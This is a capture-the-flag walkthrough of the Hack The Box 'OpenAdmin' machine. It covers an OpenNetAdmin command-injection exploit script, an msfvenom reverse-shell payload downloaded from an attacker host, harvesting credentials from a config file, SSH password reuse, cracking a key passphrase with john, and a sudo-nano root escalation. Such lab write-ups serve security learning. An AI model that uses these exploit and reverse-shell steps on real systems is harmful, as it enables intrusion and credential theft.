HTB - Windows OpenAdmin
HTB - Linux OpenAdmin
A box which start by using a CVE on the ONA service. Then credentials in the service configuration file we could use to login with the first user. A locally bind web service allowed us to get the second user private key if we provide the good password for a given hash. This hash could be found on crackstation. We then gain root privileges by abusing sudo on the nano command, one of the GTFO bins.
nobody - www-data
nmap -sS -sV -sC -p- -T4 -vvv -oN nmap.txt 10.10.10.171
$
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcVHOWV8MC41kgTdwiBIBmUrM8vGHUM2Q7+a0LCl9jfH3bIpmuWnzwev97wpc8pRHPuKfKm0c3iHGII+cKSsVgzVtJfQdQ0j/GyDcBQ9s1VGHiYIjbpX30eM2P2N5g2hy9ZWsF36WMoo5Fr+mPNycf6Mf0QOODMVqbmE3VVZE1VlX3pNW4ZkMIpDSUR89JhH+PHz/miZ1OhBdSoNWYJIuWyn8DWLCGBQ7THxxYOfN1bwhfYRCRTv46tiayuF2NNKWaDqDq/DXZxSYjwpSVelFV+vybL6nU0f28PzpQsmvPab4PtMUb0epaj4ZFcB1VVITVCdBsiu4SpZDdElxkuQJz
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHqbD5jGewKxd8heN452cfS5LS/VdUroTScThdV8IiZdTxgSaXN1Qga4audhlYIGSyDdTEL8x2tPAFPpvipRrLE=
| 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBcV0sVI0yWfjKsl7++B9FGfOVeWAIWZ4YGEMROPxxk4
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS HEAD GET POST
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
we see two open ports 22
as usual (it’s often used later after getting more information about the box, hardly useful at the beginning ) and 80
. It lets us think about getting an entry point through the web server.
The first thing I do when I see a web server is mapping the available directory with dirb
or dirsearch
. This box was especially shitty because it hosted 5 website with name not present it the same wordlist. I had to use these wordlist
seclists-git/Discovery/Web-Content/common.txt
seclists-git/Discovery/Web-Content/big.txt
directory-list-2.3-medium.txt
fuzzdb/wuyun/baopo dict/superdict/wordlist.txt
we get 5 websites :
/artwork
/marga
/music
/sierra
/ona
The first 4 websites seem to be rabbit hole as it’s only html template without backend. But ona
is way more interesting. But before continuing, I spent too much time fuzzing the directories before having ona
thanks to the last wordlist.
A good idea when accessing a new website it’s go gather all links or resources within it HTML body. There is tool like hakrawler
to do it but I preferred used mine : https://github.com/0xswitch/Sillon
python2 ./Sillon.py --url http://10.10.10.171/music/ --nofuzz --fields "url" > /tmp/a ; gf urls /tmp/a
$ http://10.10.10.171/music/
http://10.10.10.171/music/img/favicon.ico
http://10.10.10.171/music/css/bootstrap.min.css
http://10.10.10.171/music/css/font-awesome.min.css
http://10.10.10.171/music/css/owl.carousel.min.css
http://10.10.10.171/music/css/slicknav.min.css
http://10.10.10.171/music/css/style.css
http://10.10.10.171/music/index.html
http://10.10.10.171/ona
http://10.10.10.171/ona/include/html_style_sheet.inc.php
http://10.10.10.171/ona/images/favicon.ico
http://10.10.10.171/ona/include/xajax_suggest/suggest.css
http://10.10.10.171/ona/include/xajax_webwin/webwin.css
http://10.10.10.171/music/category.html
http://10.10.10.171/music/playlist.html
http://10.10.10.171/music/artist.html
http://10.10.10.171/music/blog.html
http://10.10.10.171/music/contact.html
as I wrote this tool when I was a bit younger the output is shitty and I needed to use the gf command (wrapper around grep from tomnomnom) to get all the urls.
As you see there was a link to /ona
I missed so far ..
Other information we had were :
Apache 2.4.29
Ubuntu
Now we have /ona
let’s give it a look
The version used is 18.1.1
, maybe there are some CVE about.
searchsploit opennetadmin
$ ----------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
----------------------------------------------------------------- ----------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | exploits/php/webapps/26682.txt
OpenNetAdmin 18.1.1 - Remote Code Execution | exploits/php/webapps/47691.sh
----------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Right in the feels, a nice RCE for us for the exact version! Lets a bit modify the poc by adding ${cmd} 2> /tmp/a; cat /tmp/a
in order to have also stderr
printed.
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd} 2> /tmp/a; cat /tmp/a ;echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
rlwrap ./47691.sh http://10.10.10.171/ona/
$ whoami
$ www-data
rlwrap is a wrapper which allow to use the arrow and tab to call back previous command, a better shell indeed.
www-data - user
As the shell is very rudimentary let’s go getting a better one thanks to metasploit
.
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.x.x LPORT=4444 -f elf > shell $
You can quickly deploy a web server with python -m http.server
and download this payload from the victim.
wget http://10.10.x.x:8000/shell
$ chmod 700 shell
$ ./shell $
And on your remote computer
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set LHOST 10.10.x.x
LHOST => 10.10.x.x
msf5 exploit(multi/handler) > run -j
*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[msf5 exploit(multi/handler) >
*] Started reverse TCP handler on 10.10.14.x:4444
[msf5 exploit(multi/handler) > sessions -i
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x64/linux uid=33, gid=33, euid=33, egid=33 @ 10.10.10.171 10.10.x.x:4444 -> 10.10.10.171:46096 (10.10.10.171)
I usually run netstat -lnptu
in order to see the network services, maybe I missed some with nmap
or some of them are bind locally.
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:*
There is something bind on 127.0.0.1:3306
, a mysql
database I guess but we do not have the credentials to connect to.
mysql
$ ERROR 1045 (28000): Access denied for user 'www-data'@'localhost' (using password: NO
Lets see the OpenNetAdmin
config file, maybe this service uses this mysql database to store data.
cd /var/www/
$ ls -l
$ total 8
drwxr-xr-x 6 www-data www-data 4096 Nov 22 15:59 html
drwxrwx--- 2 jimmy internal 4096 Nov 23 17:43 internal
lrwxrwxrwx 1 www-data www-data 12 Nov 21 16:07 ona -> /opt/ona/www
Interesting, a directory named internal
but we don’t have access to, we will go back later I guess.
grep -irn localhost
$ include/adodb5/server.php:23: * http://localhost/php/server.php?select+*+from+table&nrows=10&offset=2
include/adodb5/server.php:37:$host = 'localhost'; // DSN for odbc
.htaccess.example:5:# The default setting here is to allow anyone from localhost (this computer)
local/config/database_settings.inc.php:11: 'db_host' => 'localhost',
modules/mysql_purge_logs.inc.php:160:// Example: <DB_HANDLE> = db_connect('mysql','localhost','root','','somedb');
the config file seems to be /opt/ona/www/local/config/database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
Cool, we get the db credz! We should give a look into right now. As the shell is still pretty shitty I will use the cli.
-u ona_sys -pn1nj4W4rri0R! -e "show databases;"
$ mysql Using a password on the command line interface can be insecure.
mysql: [Warning] Database
information_schema
ona_default
-u ona_sys -pn1nj4W4rri0R! -e "use ona_default;show tables"
$ mysql
Tables_in_ona_default...]
[
users
vlan_campuses
vlans
-u ona_sys -pn1nj4W4rri0R! -e "use ona_default;select * from users;"
$ mysql id username password level ctime atime
1 guest 098f6bcd4621d373cade4e832627b4f6 0 2020-01-08 21:07:25 2020-01-08 21:07:25
2 admin 21232f297a57a5a743894a0e4a801fc3 0 2020-01-08 18:14:09 2020-01-08 18:14:09
Two users with weak hash admin:admin
and guest:test
nothing useful for us as we are already www-data
.
I noticed I was dumb at this moment, after looking at /etc/passwd
we knew there was 2 interesting users and a ssh
server.
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
Lets try the metasploit ssh_login
module.
vim account.txt
$ joanna n1nj4W4rri0R!
jimmy n1nj4W4rri0R!
msf
$ msf5 > use auxiliary/scanner/ssh/ssh_login
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 10.10.10.171
RHOSTS => 10.10.10.171
msf5 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE account.txt
USERPASS_FILE => account.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set VERBOSE true
VERBOSE => true
msf5 auxiliary(scanner/ssh/ssh_login) > run
-] 10.10.10.171:22 - Failed: 'joanna:n1nj4W4rri0R!'
[No active DB -- Credential data will not be saved!
[!] +] 10.10.10.171:22 - Success: 'jimmy:n1nj4W4rri0R!' ''
[*] Command shell session 1 opened (10.10.14.37:40979 -> 10.10.10.171:22) at 2020-01-08 22:35:13 +0100
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[msf5 auxiliary(scanner/ssh/ssh_login) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell unknown SSH jimmy:n1nj4W4rri0R! (10.10.10.171:22) 10.10.14.37:40979 -> 10.10.10.171:22 (10.10.10.171)
Always think to password reuse with Hack The Box boxes .. So now let’s give a look to /var/www/internal
but first we should upgrade our shell to a meterpreter one.
session -u id
allows us to upgrade our session to a meterpreter one.
There was nothing in the /home/jimmy folder btw
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -u 2
*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [2]
[
SESSION may not be compatible with this module.
[!] *] Upgrading session ID: 2
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.14.37:4433
[*] Sending stage (985320 bytes) to 10.10.10.171
[*] Command stager progress: 100.00% (773/773 bytes)
[msf5 auxiliary(scanner/ssh/ssh_login) > [*] Meterpreter session 3 opened (10.10.14.37:4433 -> 10.10.10.171:36156) at 2020-01-08 22:38:02 +0100
*] Stopping exploit/multi/handler
[
msf5 auxiliary(scanner/ssh/ssh_login) > sessions -i 3
*] Starting interaction with 3...
[
meterpreter >
meterpreter > cat /etc/apache2/sites-available/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
The site is only available from localhost on port 52846
, thats why we didn’t see it before.
The mpm_itk_module is very interesting, I already used it in the past to configure an Apache server to host CTF challenges. It allows us to choose which user Apache will use to run a vhost instead of www-data.
So if we found a RCE in this application we will be joanna user.
var/www/internal/index.php
meterpreter > cat /[...]
?php
<$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
else {
} $msg = 'Wrong username or password.';
}
}?>
[...]
Simple auth with sha512 hash with the jimmy user. If we log we have access to main.php
lets see what we will got.
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>'t forget your "ninja" password</h3>
<h3>DonClick here to logout <a href="logout.php" tite = "Logout">Session
</html>
Accessing this page will show us joanna’s ssh private key, let’s do it. Maybe this hash is weak so lets feed crackstation with it.
Hash | Type | Result |
---|---|---|
00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758e ebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1 |
sha512 | Revealed |
Nice. We have at least two ways to loggin
curl (way to simple)
use port forwarding with metasploit (more cooler)
meterpreter > portfwd add -l 1111 -p 52846 -r 127.0.0.1
*] Local TCP relay created: :1111 <-> 127.0.0.1:52846 [
We can now access the webservice via our browser :
The key is password protected, we will use john to try to crack it.
ssh2john joanna.priv > joanna_ssh.john
$ john --wordlist=/usr/share/wordlists/rockyou.txt joanna_ssh.john
$ Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 12 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (joanna.priv)
1g 0:00:00:01 DONE (2020-01-09 09:09) 0.5747g/s 8242Kp/s 8242Kc/s 8242KC/s 0 0 0..*7¡Vamos!
Session completed
The password for the key is bloodninjas
, we can now ssh with joanna’s account.
user.txt is present in her home directory : c9b2cf07d40807e62af62660f0c81b5f
user - root
Another good habits it’s to run sudo -l
to see which sudo commands are allowed for an user.
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
We can run /bin/nano /opt/priv
, let’s see if this binary has something interesting to offer with sudo.
It runs in privileged context and may be used to access the file system, escalate or maintain access with elevated privileges if enabled on
sudo
.sudo nano ^R^X reset; sh 1>&0 2>&0
Command to execute: reset; /bin/bash 1>&0 2>&0
root@openadmin:~# id
uid=0(root) gid=0(root) groups=0(root) ^X Read File
root@openadmin:~# cat /root/root.txt M-F New Buffer
2f907ed450b361b2c2bf4e8795d5b561
And finally the root flag 2f907ed450b361b2c2bf4e8795d5b561
It’s a really nice box for beginners but very straight forward when doing CTF for a while. Maybe spent a bit too much time on enumeration.